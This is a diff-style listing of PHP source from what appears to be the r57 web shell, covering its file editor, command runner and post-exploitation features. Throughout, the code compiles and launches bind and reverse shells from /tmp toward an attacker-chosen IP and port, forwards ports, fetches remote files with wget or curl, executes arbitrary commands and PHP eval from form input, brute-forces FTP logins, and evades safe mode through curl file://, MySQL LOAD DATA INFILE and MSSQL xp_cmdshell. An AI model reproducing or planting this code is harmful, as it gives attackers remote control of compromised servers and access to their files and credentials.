| 1617 | } | 1617 | } |
| 1618 | if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) | 1618 | if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) |
| 1619 | { | 1619 | { |
| 1620 | if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } | 1620 | if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } |
| 1621 | if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } | 1621 | if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } |
| 1622 | else { | 1622 | else { |
| 1623 | echo $table_up3; | 1623 | echo $table_up3; |
| 1624 | echo $font; | 1624 | echo $font; |
| 1625 | echo "<form name=save_file method=post>"; | 1625 | echo "<form name=save_file method=post>"; |
| 1626 | echo ws(3)."<b>".$_POST['e_name']."</b>"; | 1626 | echo ws(3)."<b>".$_POST['e_name']."</b>"; |
| 1627 | echo "<div align=center><textarea name=e_text cols=121 rows=24>"; | 1627 | echo "<div align=center><textarea name=e_text cols=121 rows=24>"; |
| 1628 | echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); | 1628 | echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); |
| 1629 | fclose($file); | 1629 | fclose($file); |
| 1630 | echo "</textarea>"; | 1630 | echo "</textarea>"; |
| 1631 | echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; | 1631 | echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; |
| 1632 | echo "<input type=hidden name=dir value=".$dir.">"; | 1632 | echo "<input type=hidden name=dir value=".$dir.">"; |
| 1633 | echo "<input type=hidden name=cmd value=save_file>"; | 1633 | echo "<input type=hidden name=cmd value=save_file>"; |
| 1634 | echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); | 1634 | echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); |
| 1635 | echo "</div>"; | 1635 | echo "</div>"; |
| 1636 | echo "</font>"; | 1636 | echo "</font>"; |
| 1637 | echo "</form>"; | 1637 | echo "</form>"; |
| 1638 | echo "</td></tr></table>"; | 1638 | echo "</td></tr></table>"; |
| 1639 | exit(); | 1639 | exit(); |
| 1640 | } | 1640 | } |
| 1641 | } | 1641 | } |
| 1642 | if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") | 1642 | if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") |
| 1643 | { | 1643 | { |
| 1644 | if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } | 1644 | if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } |
| 1645 | else { | 1645 | else { |
| 1646 | @fwrite($file,$_POST['e_text']); | 1646 | @fwrite($file,$_POST['e_text']); |
| 1647 | @fclose($file); | 1647 | @fclose($file); |
| 1648 | $_POST['cmd']=""; | 1648 | $_POST['cmd']=""; |
| 1649 | echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; | 1649 | echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; |
| 1650 | } | 1650 | } |
| 1651 | } | 1651 | } |
| 1652 | if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) | 1652 | if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) |
| 1653 | { | 1653 | { |
| 1654 | cf("/tmp/bd.c",$port_bind_bd_c); | 1654 | cf("/tmp/bd.c",$port_bind_bd_c); |
| 1655 | $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); | 1655 | $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); |
| 1656 | @unlink("/tmp/bd.c"); | 1656 | @unlink("/tmp/bd.c"); |
| 1657 | $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); | 1657 | $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); |
| 1658 | $_POST['cmd']="ps -aux | grep bd"; | 1658 | $_POST['cmd']="ps -aux | grep bd"; |
| 1659 | } | 1659 | } |
| 1660 | if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) | 1660 | if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) |
| 1661 | { | 1661 | { |
| 1662 | cf("/tmp/bdpl",$port_bind_bd_pl); | 1662 | cf("/tmp/bdpl",$port_bind_bd_pl); |
| 1663 | $p2=which("perl"); | 1663 | $p2=which("perl"); |
| 1664 | if(empty($p2)) $p2="perl"; | 1664 | if(empty($p2)) $p2="perl"; |
| 1665 | $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); | 1665 | $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); |
| 1666 | $_POST['cmd']="ps -aux | grep bdpl"; | 1666 | $_POST['cmd']="ps -aux | grep bdpl"; |
| 1667 | } | 1667 | } |
| 1668 | if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) | 1668 | if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) |
| 1669 | { | 1669 | { |
| 1670 | cf("/tmp/back",$back_connect); | 1670 | cf("/tmp/back",$back_connect); |
| 1671 | $p2=which("perl"); | 1671 | $p2=which("perl"); |
| 1672 | if(empty($p2)) $p2="perl"; | 1672 | if(empty($p2)) $p2="perl"; |
| 1673 | $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); | 1673 | $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); |
| 1674 | $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; | 1674 | $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; |
| 1675 | } | 1675 | } |
| 1676 | if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) | 1676 | if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) |
| 1677 | { | 1677 | { |
| 1678 | cf("/tmp/back.c",$back_connect_c); | 1678 | cf("/tmp/back.c",$back_connect_c); |
| 1679 | $blah = ex("gcc -o /tmp/backc /tmp/back.c"); | 1679 | $blah = ex("gcc -o /tmp/backc /tmp/back.c"); |
| 1680 | @unlink("/tmp/back.c"); | 1680 | @unlink("/tmp/back.c"); |
| 1681 | $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); | 1681 | $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); |
| 1682 | $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; | 1682 | $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; |
| 1683 | } | 1683 | } |
| 1684 | if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) | 1684 | if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) |
| 1685 | { | 1685 | { |
| 1686 | cf("/tmp/dp",$datapipe_pl); | 1686 | cf("/tmp/dp",$datapipe_pl); |
| 1687 | $p2=which("perl"); | 1687 | $p2=which("perl"); |
| 1688 | if(empty($p2)) $p2="perl"; | 1688 | if(empty($p2)) $p2="perl"; |
| 1689 | $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); | 1689 | $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); |
| 1690 | $_POST['cmd']="ps -aux | grep dp"; | 1690 | $_POST['cmd']="ps -aux | grep dp"; |
| 1691 | } | 1691 | } |
| 1692 | if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) | 1692 | if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) |
| 1693 | { | 1693 | { |
| 1694 | cf("/tmp/dpc.c",$datapipe_c); | 1694 | cf("/tmp/dpc.c",$datapipe_c); |
| 1695 | $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); | 1695 | $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); |
| 1696 | @unlink("/tmp/dpc.c"); | 1696 | @unlink("/tmp/dpc.c"); |
| 1697 | $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); | 1697 | $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); |
| 1698 | $_POST['cmd']="ps -aux | grep dpc"; | 1698 | $_POST['cmd']="ps -aux | grep dpc"; |
| 1699 | } | 1699 | } |
| 1700 | if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} | 1700 | if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} |
| 1701 | if (!empty($HTTP_POST_FILES['userfile']['name'])) | 1701 | if (!empty($HTTP_POST_FILES['userfile']['name'])) |
| 1702 | { | 1702 | { |
| 1703 | if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } | 1703 | if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } |
| 1704 | else { $nfn = $HTTP_POST_FILES['userfile']['name']; } | 1704 | else { $nfn = $HTTP_POST_FILES['userfile']['name']; } |
| 1705 | @copy($HTTP_POST_FILES['userfile']['tmp_name'], | 1705 | @copy($HTTP_POST_FILES['userfile']['tmp_name'], |
| 1706 | $_POST['dir']."/".$nfn) | 1706 | $_POST['dir']."/".$nfn) |
| 1707 | or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); | 1707 | or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); |
| 1708 | } | 1708 | } |
| 1709 | if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) | 1709 | if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) |
| 1710 | { | 1710 | { |
| 1711 | switch($_POST['with']) | 1711 | switch($_POST['with']) |
| 1712 | { | 1712 | { |
| 1713 | case wget: | 1713 | case wget: |
| 1714 | $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; | 1714 | $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; |
| 1715 | break; | 1715 | break; |
| 1716 | case fetch: | 1716 | case fetch: |
| 1717 | $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; | 1717 | $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; |
| 1718 | break; | 1718 | break; |
| 1719 | case lynx: | 1719 | case lynx: |
| 1720 | $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; | 1720 | $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; |
| 1721 | break; | 1721 | break; |
| 1722 | case links: | 1722 | case links: |
| 1723 | $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; | 1723 | $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; |
| 1724 | break; | 1724 | break; |
| 1725 | case GET: | 1725 | case GET: |
| 1726 | $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; | 1726 | $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; |
| 1727 | break; | 1727 | break; |
| 1728 | case curl: | 1728 | case curl: |
| 1729 | $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; | 1729 | $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; |
| 1730 | break; | 1730 | break; |
| 1731 | } | 1731 | } |
| 1732 | } | 1732 | } |
| 1733 | if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) | 1733 | if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) |
| 1734 | { | 1734 | { |
| 1735 | list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); | 1735 | list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); |
| 1736 | if(empty($ftp_port)) { $ftp_port = 21; } | 1736 | if(empty($ftp_port)) { $ftp_port = 21; } |
| 1737 | $connection = @ftp_connect ($ftp_server,$ftp_port,10); | 1737 | $connection = @ftp_connect ($ftp_server,$ftp_port,10); |
| 1738 | if(!$connection) { fe($language,0); } | 1738 | if(!$connection) { fe($language,0); } |
| 1739 | else | 1739 | else |
| 1740 | { | 1740 | { |
| 1741 | if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); } | 1741 | if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); } |
| 1742 | else | 1742 | else |
| 1743 | { | 1743 | { |
| 1744 | if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } | 1744 | if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } |
| 1745 | if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } | 1745 | if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } |
| 1746 | } | 1746 | } |
| 1747 | } | 1747 | } |
| 1748 | @ftp_close($connection); | 1748 | @ftp_close($connection); |
| 1749 | $_POST['cmd'] = ""; | 1749 | $_POST['cmd'] = ""; |
| 1750 | } | 1750 | } |
| 1751 | if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") | 1751 | if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") |
| 1752 | { | 1752 | { |
| 1753 | list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); | 1753 | list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); |
| 1754 | if(empty($ftp_port)) { $ftp_port = 21; } | 1754 | if(empty($ftp_port)) { $ftp_port = 21; } |
| 1755 | $connection = @ftp_connect ($ftp_server,$ftp_port,10); | 1755 | $connection = @ftp_connect ($ftp_server,$ftp_port,10); |
| 1756 | if(!$connection) { fe($language,0); $_POST['cmd'] = ""; } | 1756 | if(!$connection) { fe($language,0); $_POST['cmd'] = ""; } |
| 1757 | else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } | 1757 | else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } |
| 1758 | @ftp_close($connection); | 1758 | @ftp_close($connection); |
| 1759 | } | 1759 | } |
| 1760 | echo $table_up3; | 1760 | echo $table_up3; |
| 1761 | if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } | 1761 | if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } |
| 1762 | else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } | 1762 | else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } |
| 1763 | echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; | 1763 | echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; |
| 1764 | if($safe_mode) | 1764 | if($safe_mode) |
| 1765 | { | 1765 | { |
| 1766 | switch($_POST['cmd']) | 1766 | switch($_POST['cmd']) |
| 1767 | { | 1767 | { |
| 1768 | case 'safe_dir': | 1768 | case 'safe_dir': |
| 1769 | $d=@dir($dir); | 1769 | $d=@dir($dir); |
| 1770 | if ($d) | 1770 | if ($d) |
| 1771 | { | 1771 | { |
| 1772 | while (false!==($file=$d->read())) | 1772 | while (false!==($file=$d->read())) |
| 1773 | { | 1773 | { |
| 1774 | if ($file=="." || $file=="..") continue; | 1774 | if ($file=="." || $file=="..") continue; |
| 1775 | @clearstatcache(); | 1775 | @clearstatcache(); |
| 1776 | list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); | 1776 | list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); |
| 1777 | if($windows){ | 1777 | if($windows){ |
| 1778 | echo date("d.m.Y H:i",$mtime); | 1778 | echo date("d.m.Y H:i",$mtime); |
| 1779 | if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); | 1779 | if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); |
| 1780 | } | 1780 | } |
| 1781 | else{ | 1781 | else{ |
| 1782 | $owner = @posix_getpwuid($uid); | 1782 | $owner = @posix_getpwuid($uid); |
| 1783 | $grgid = @posix_getgrgid($gid); | 1783 | $grgid = @posix_getgrgid($gid); |
| 1784 | echo $inode." "; | 1784 | echo $inode." "; |
| 1785 | echo perms(@fileperms($file)); | 1785 | echo perms(@fileperms($file)); |
| 1786 | printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); | 1786 | printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); |
| 1787 | echo date("d.m.Y H:i ",$mtime); | 1787 | echo date("d.m.Y H:i ",$mtime); |
| 1788 | } | 1788 | } |
| 1789 | echo "$file\n"; | 1789 | echo "$file\n"; |
| 1790 | } | 1790 | } |
| 1791 | $d->close(); | 1791 | $d->close(); |
| 1792 | } | 1792 | } |
| 1793 | else echo $lang[$language._text29]; | 1793 | else echo $lang[$language._text29]; |
| 1794 | break; | 1794 | break; |
| 1795 | case 'safe_file': | 1795 | case 'safe_file': |
| 1796 | if(@is_file($_POST['file'])) | 1796 | if(@is_file($_POST['file'])) |
| 1797 | { | 1797 | { |
| 1798 | $file = @file($_POST['file']); | 1798 | $file = @file($_POST['file']); |
| 1799 | if($file) | 1799 | if($file) |
| 1800 | { | 1800 | { |
| 1801 | $c = @sizeof($file); | 1801 | $c = @sizeof($file); |
| 1802 | for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); } | 1802 | for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); } |
| 1803 | } | 1803 | } |
| 1804 | else echo $lang[$language._text29]; | 1804 | else echo $lang[$language._text29]; |
| 1805 | } | 1805 | } |
| 1806 | else echo $lang[$language._text31]; | 1806 | else echo $lang[$language._text31]; |
| 1807 | break; | 1807 | break; |
| 1808 | case 'test1': | 1808 | case 'test1': |
| 1809 | $ci = @curl_init("file://".$_POST['test1_file'].""); | 1809 | $ci = @curl_init("file://".$_POST['test1_file'].""); |
| 1810 | $cf = @curl_exec($ci); | 1810 | $cf = @curl_exec($ci); |
| 1811 | echo $cf; | 1811 | echo $cf; |
| 1812 | break; | 1812 | break; |
| 1813 | case 'test2': | 1813 | case 'test2': |
| 1814 | @include($_POST['test2_file']); | 1814 | @include($_POST['test2_file']); |
| 1815 | break; | 1815 | break; |
| 1816 | case 'test3': | 1816 | case 'test3': |
| 1817 | if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } | 1817 | if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } |
| 1818 | $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); | 1818 | $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); |
| 1819 | if($db) | 1819 | if($db) |
| 1820 | { | 1820 | { |
| 1821 | if(@mysql_select_db($_POST['test3_md'],$db)) | 1821 | if(@mysql_select_db($_POST['test3_md'],$db)) |
| 1822 | { | 1822 | { |
| 1823 | $sql = "DROP TABLE IF EXISTS temp_r57_table;"; | 1823 | $sql = "DROP TABLE IF EXISTS temp_r57_table;"; |
| 1824 | @mysql_query($sql); | 1824 | @mysql_query($sql); |
| 1825 | $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );"; | 1825 | $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );"; |
| 1826 | @mysql_query($sql); | 1826 | @mysql_query($sql); |
| 1827 | $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;"; | 1827 | $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;"; |
| 1828 | @mysql_query($sql); | 1828 | @mysql_query($sql); |
| 1829 | $sql = "SELECT * FROM temp_r57_table;"; | 1829 | $sql = "SELECT * FROM temp_r57_table;"; |
| 1830 | $r = @mysql_query($sql); | 1830 | $r = @mysql_query($sql); |
| 1831 | while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } | 1831 | while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } |
| 1832 | $sql = "DROP TABLE IF EXISTS temp_r57_table;"; | 1832 | $sql = "DROP TABLE IF EXISTS temp_r57_table;"; |
| 1833 | @mysql_query($sql); | 1833 | @mysql_query($sql); |
| 1834 | } | 1834 | } |
| 1835 | else echo "[-] ERROR! Can't select database"; | 1835 | else echo "[-] ERROR! Can't select database"; |
| 1836 | @mysql_close($db); | 1836 | @mysql_close($db); |
| 1837 | } | 1837 | } |
| 1838 | else echo "[-] ERROR! Can't connect to mysql server"; | 1838 | else echo "[-] ERROR! Can't connect to mysql server"; |
| 1839 | break; | 1839 | break; |
| 1840 | case 'test4': | 1840 | case 'test4': |
| 1841 | if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } | 1841 | if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } |
| 1842 | $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); | 1842 | $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); |
| 1843 | if($db) | 1843 | if($db) |
| 1844 | { | 1844 | { |
| 1845 | if(@mssql_select_db($_POST['test4_md'],$db)) | 1845 | if(@mssql_select_db($_POST['test4_md'],$db)) |
| 1846 | { | 1846 | { |
| 1847 | @mssql_query("drop table r57_temp_table",$db); | 1847 | @mssql_query("drop table r57_temp_table",$db); |
| 1848 | @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); | 1848 | @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); |
| 1849 | @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); | 1849 | @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); |
| 1850 | $res = mssql_query("select * from r57_temp_table",$db); | 1850 | $res = mssql_query("select * from r57_temp_table",$db); |
| 1851 | while(($row=@mssql_fetch_row($res))) | 1851 | while(($row=@mssql_fetch_row($res))) |
| 1852 | { | 1852 | { |
| 1853 | echo $row[0]."\r\n"; | 1853 | echo $row[0]."\r\n"; |
| 1854 | } | 1854 | } |
| 1855 | @mssql_query("drop table r57_temp_table",$db); | 1855 | @mssql_query("drop table r57_temp_table",$db); |
| 1856 | } | 1856 | } |
| 1857 | else echo "[-] ERROR! Can't select database"; | 1857 | else echo "[-] ERROR! Can't select database"; |
| 1858 | @mssql_close($db); | 1858 | @mssql_close($db); |
| 1859 | } | 1859 | } |
| 1860 | else echo "[-] ERROR! Can't connect to MSSQL server"; | 1860 | else echo "[-] ERROR! Can't connect to MSSQL server"; |
| 1861 | break; | 1861 | break; |
| 1862 | } | 1862 | } |
| 1863 | } | 1863 | } |
| 1864 | else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ | 1864 | else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ |
| 1865 | $cmd_rep = ex($_POST['cmd']); | 1865 | $cmd_rep = ex($_POST['cmd']); |
| 1866 | if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } | 1866 | if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } |
| 1867 | else { echo @htmlspecialchars($cmd_rep)."\n"; }} | 1867 | else { echo @htmlspecialchars($cmd_rep)."\n"; }} |
| 1868 | if ($_POST['cmd']=="ftp_brute") | 1868 | if ($_POST['cmd']=="ftp_brute") |
| 1869 | { | 1869 | { |
| 1870 | $suc = 0; | 1870 | $suc = 0; |
| 1871 | foreach($users as $user) | 1871 | foreach($users as $user) |
| 1872 | { | 1872 | { |
| 1873 | $connection = @ftp_connect($ftp_server,$ftp_port,10); | 1873 | $connection = @ftp_connect($ftp_server,$ftp_port,10); |
| 1874 | if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } | 1874 | if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } |
| 1875 | else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } | 1875 | else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } |
| 1876 | @ftp_close($connection); | 1876 | @ftp_close($connection); |
| 1877 | } | 1877 | } |
| 1878 | echo "\r\n-------------------------------------\r\n"; | 1878 | echo "\r\n-------------------------------------\r\n"; |
| 1879 | $count = count($users); | 1879 | $count = count($users); |
| 1880 | if(isset($_POST['reverse'])) { $count *= 2; } | 1880 | if(isset($_POST['reverse'])) { $count *= 2; } |
| 1881 | echo $lang[$language.'_text97'].$count."\r\n"; | 1881 | echo $lang[$language.'_text97'].$count."\r\n"; |
| 1882 | echo $lang[$language.'_text98'].$suc."\r\n"; | 1882 | echo $lang[$language.'_text98'].$suc."\r\n"; |
| 1883 | } | 1883 | } |
| 1884 | if ($_POST['cmd']=="php_eval"){ | 1884 | if ($_POST['cmd']=="php_eval"){ |
| 1885 | $eval = @str_replace("<?","",$_POST['php_eval']); | 1885 | $eval = @str_replace("<?","",$_POST['php_eval']); |
| 1886 | $eval = @str_replace("?>","",$eval); | 1886 | $eval = @str_replace("?>","",$eval); |
| 1887 | @eval($eval);} | 1887 | @eval($eval);} |
| 1888 | if ($_POST['cmd']=="db_show") | 1888 | if ($_POST['cmd']=="db_show") |
| 1889 | { | 1889 | { |
| 1890 | switch($_POST['db']) | 1890 | switch($_POST['db']) |
| 1891 | { | 1891 | { |
| 1892 | case 'MySQL': | 1892 | case 'MySQL': |
| 1893 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } | 1893 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } |
| 1894 | $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); | 1894 | $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); |
| 1895 | if($db) | 1895 | if($db) |
| 1896 | { | 1896 | { |
| 1897 | $res=@mysql_query("SHOW DATABASES", $db); | 1897 | $res=@mysql_query("SHOW DATABASES", $db); |
| 1898 | while(($row=@mysql_fetch_row($res))) | 1898 | while(($row=@mysql_fetch_row($res))) |
| 1899 | { | 1899 | { |
